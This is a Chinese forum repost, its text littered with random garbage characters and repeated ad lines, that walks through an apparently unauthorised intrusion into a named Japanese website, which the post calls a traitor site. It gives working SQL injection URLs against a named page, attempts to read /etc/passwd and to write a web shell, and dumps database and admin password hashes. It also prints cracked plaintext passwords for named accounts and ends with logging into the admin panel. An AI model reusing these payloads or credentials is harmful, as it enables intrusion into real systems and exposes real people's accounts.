原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

3 A4 v) \* q, W/ r
; C$ F: Z: h' a9 a8 m0x01. 检测 www.zuaa.jp 收集数据

) }  P! G" |8 c
whatweb

3 V& ^9 e, [( E3 D( ]+ B2 R0 I
% x& V* Z) y! C利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
% S% F$ [$ @. B) U) m* f1 O* a, e找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
8 d/ {6 l. u7 g4 ~
7 R! L7 u4 j- {. }
0x03.order by
/ Q) c- T9 S& K# [! Z+ U             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
( G- N+ Q' U- B/ ?* s# f
3 o$ G6 E4 |0 gorder by 28报错，order by 27正常

# p% d. n* B# U* B+ r( n# p0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

& v  U) e$ e3 x, A# b% J# F# i0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
( z8 C4 Q( Q# Z4 c( x
3 @1 ?  c2 C& s" z0 r: u6 o4 h& Iuser:            root@localhost
database:    openpne
version:      4.1.22
os:             portbld-freebsd5.4

0x06. root用户
5 r9 O5 D8 o6 M利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
3 Q) w* D! K6 ~http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

! ?( t8 u7 `, n# a  F* o通过工具转换
% Y! ?7 \& y" X1 w
3 p# u* u( I: }$ x1 S; C* b$ ~中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

) X8 @) l) e  m& f9 ^0x07. 利用 into outfile
全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

4 q, }2 V' _) N5 H& Q. b6 Thttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

% g) b3 h! s) O页面显示“MDB2 Error:syntax error”

/ Y$ F3 [; {- {5 o0x08. 利用 mysql 4.1
9 I. e5 {  H* |( ^/ z猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0 g- z/ N! `; B2 Z

- D$ p& [+ D& R+ f4 W4 D. ~
0x09. 查找后台
! ^/ y$ a8 T/ M+ [* n利用 现有的各种 后台工具尝试都不行
7 G/ W0 A" z( g. K; k
, g& B- D, c3 ~. U0 V1 x0x10.  MySL外联方法
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
: }) w5 R+ [4 [) C$ Q. l8 \可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
& d! a8 z( ?# Z& f& i
) m# @8 O# c: U+ P# q2 v$ S$ f这个可以在 www.cmd5.com 解密
8 b! }" B, v. |2 ?root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
$ o# [8 I/ _" V, j2 K8 t: K  n* t1 Z, Ychen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
% Q4 R6 b" ]: j/ K* {9 Y9 E2 Ropenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
8 l3 s5 l. y* U) F3 T工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知


0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码


% x9 `; ]' A* `* ?$ ]! Q0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login

表名 (c_admin_user) ，字段名（username,password）
, x" C% e. U' M/ A1 {! ^http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
8 e& r/ U$ ]4 P: c5 n9 ~# |+ M( Y
' s5 a7 Y$ Q2 \$ {" A) e解密
" I( x* i% d) h" R2 tzuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
% {7 d& W! e0 _' Z+ Qzuaajp:c0923ec5857796a393da99905008c176,          zju1897

1 l3 Y( K+ N" Z" s0 y中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
) G& \' M5 r% K, ~6 k& z8 p. e, V
, e, K- E3 s9 U: d: j8 [0x13. 登录后台


, R9 b* [$ A8 ^8 R- J- U
) N* P' Y  e: W  U; T( a6 a% j( f, G0x14. 小结
) s+ E! a1 r1 M. V) ^" v利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
4 z4 c+ o3 I2 }5 V- A4 }3 m% v# H------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
) Z  d, F* O7 M" E
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的